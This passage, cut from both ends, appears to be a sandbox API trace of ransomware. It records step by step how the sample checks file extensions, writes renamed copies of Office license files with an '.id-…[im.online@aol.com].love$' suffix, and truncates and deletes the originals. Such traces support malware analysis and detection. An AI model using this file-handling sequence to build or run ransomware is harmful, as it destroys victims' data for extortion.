Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.566] lstrlenW (lpString=".doc") returned 4 [0255.566] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.566] lstrlenW (lpString=".docx") returned 5 [0255.566] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.566] lstrlenW (lpString=".pdf") returned 4 [0255.566] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.566] lstrlenW (lpString=".xls") returned 4 [0255.566] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.566] lstrlenW (lpString=".xlsx") returned 5 [0255.566] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.566] lstrlenW (lpString=".ppt") returned 4 [0255.566] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.566] lstrlenW (lpString=".zip") returned 4 [0255.566] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.566] lstrlenW (lpString=".rar") returned 4 [0255.567] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString=".bz2") returned 4 [0255.567] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString=".7z") returned 3 [0255.567] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.567] lstrlenW (lpString=".dbf") returned 4 [0255.567] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.567] lstrlenW (lpString=".1cd") returned 4 [0255.567] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.567] lstrlenW (lpString=".jpg") returned 4 [0255.567] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.567] lstrlenW (lpString=".doc") returned 4 [0255.567] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString=".docx") returned 5 [0255.567] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.567] lstrlenW (lpString=".pdf") returned 4 [0255.567] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString=".xls") returned 4 [0255.567] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.567] lstrlenW (lpString=".xlsx") returned 5 [0255.567] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.567] lstrlenW (lpString=".ppt") returned 4 [0255.567] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.568] lstrlenW (lpString=".zip") returned 4 [0255.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString=".rar") returned 4 [0255.568] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString=".bz2") returned 4 [0255.568] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString=".7z") returned 3 [0255.568] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.568] lstrlenW (lpString=".dbf") returned 4 [0255.568] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.568] lstrlenW (lpString=".1cd") returned 4 [0255.568] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0255.568] lstrlenW (lpString=".jpg") returned 4 [0255.568] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.568] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.568] lstrlenW (lpString="AccessR_Trial-pl.xrm-ms") returned 23 [0255.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.570] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11143) returned 1 [0255.570] CloseHandle (hObject=0x3c4) returned 1 [0255.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0255.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.571] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.571] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.572] GetLastError () returned 0x0 [0255.572] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2b87, lpOverlapped=0x0) returned 1 [0255.575] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0255.576] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.576] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x102, lpOverlapped=0x0) returned 1 [0255.576] SetEndOfFile (hFile=0x540) returned 1 [0255.576] CloseHandle (hObject=0x540) returned 1 [0255.576] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.576] SetEndOfFile (hFile=0x3c4) returned 1 [0255.579] CloseHandle (hObject=0x3c4) returned 1 [0255.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.581] lstrlenW (lpString=".doc") returned 4 [0255.581] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".docx") returned 5 [0255.581] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.581] lstrlenW (lpString=".pdf") returned 4 [0255.581] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".xls") returned 4 [0255.581] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".xlsx") returned 5 [0255.581] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.581] lstrlenW (lpString=".ppt") returned 4 [0255.581] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.581] lstrlenW (lpString=".zip") returned 4 [0255.581] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".rar") returned 4 [0255.581] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".bz2") returned 4 [0255.581] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.581] lstrlenW (lpString=".7z") returned 3 [0255.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".dbf") returned 4 [0255.582] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".1cd") returned 4 [0255.582] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".jpg") returned 4 [0255.582] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".doc") returned 4 [0255.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".docx") returned 5 [0255.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.582] lstrlenW (lpString=".pdf") returned 4 [0255.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".xls") returned 4 [0255.582] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".xlsx") returned 5 [0255.582] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.582] lstrlenW (lpString=".ppt") returned 4 [0255.582] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".zip") returned 4 [0255.582] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".rar") returned 4 [0255.582] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".bz2") returned 4 [0255.582] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.582] lstrlenW (lpString=".7z") returned 3 [0255.582] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.582] lstrlenW (lpString=".dbf") returned 4 [0255.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.583] lstrlenW (lpString=".1cd") returned 4 [0255.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0255.583] lstrlenW (lpString=".jpg") returned 4 [0255.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.583] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.583] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0255.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.584] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=20901) returned 1 [0255.584] CloseHandle (hObject=0x3c4) returned 1 [0255.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0255.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0255.585] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.585] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0255.586] GetLastError () returned 0x0 [0255.586] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0255.589] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0255.590] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.590] WriteFile (in: hFile=0x540, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x104, lpOverlapped=0x0) returned 1 [0255.590] SetEndOfFile (hFile=0x540) returned 1 [0255.590] CloseHandle (hObject=0x540) returned 1 [0255.590] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.591] SetEndOfFile (hFile=0x3c4) returned 1 [0255.597] CloseHandle (hObject=0x3c4) returned 1 [0255.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0255.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.598] lstrlenW (lpString=".doc") returned 4 [0255.598] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".docx") returned 5 [0255.599] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.599] lstrlenW (lpString=".pdf") returned 4 [0255.599] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".xls") returned 4 [0255.599] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".xlsx") returned 5 [0255.599] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.599] lstrlenW (lpString=".ppt") returned 4 [0255.599] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.599] lstrlenW (lpString=".zip") returned 4 [0255.599] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".rar") returned 4 [0255.599] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".bz2") returned 4 [0255.599] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString=".7z") returned 3 [0255.599] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.599] lstrlenW (lpString=".dbf") returned 4 [0255.599] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.599] lstrlenW (lpString=".1cd") returned 4 [0255.599] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.599] lstrlenW (lpString=".jpg") returned 4 [0255.599] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.600] lstrlenW (lpString=".doc") returned 4 [0255.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".docx") returned 5 [0255.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0255.600] lstrlenW (lpString=".pdf") returned 4 [0255.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".xls") returned 4 [0255.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".xlsx") returned 5 [0255.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0255.600] lstrlenW (lpString=".ppt") returned 4 [0255.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.600] lstrlenW (lpString=".zip") returned 4 [0255.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".rar") returned 4 [0255.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".bz2") returned 4 [0255.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString=".7z") returned 3 [0255.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.600] lstrlenW (lpString=".dbf") returned 4 [0255.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.600] lstrlenW (lpString=".1cd") returned 4 [0255.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0255.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0255.600] lstrlenW (lpString=".jpg") returned 4 [0255.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0255.739] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0255.739] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0255.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.054] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=6794) returned 1 [0257.054] CloseHandle (hObject=0x538) returned 1 [0257.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0257.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.055] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.055] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.057] GetLastError () returned 0x0 [0257.057] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0257.059] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0257.061] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.061] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x110, lpOverlapped=0x0) returned 1 [0257.061] SetEndOfFile (hFile=0x4e4) returned 1 [0257.061] CloseHandle (hObject=0x4e4) returned 1 [0257.061] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.061] SetEndOfFile (hFile=0x538) returned 1 [0257.064] CloseHandle (hObject=0x538) returned 1 [0257.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0257.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.066] lstrlenW (lpString="C:\\Program Files\\Microsoft 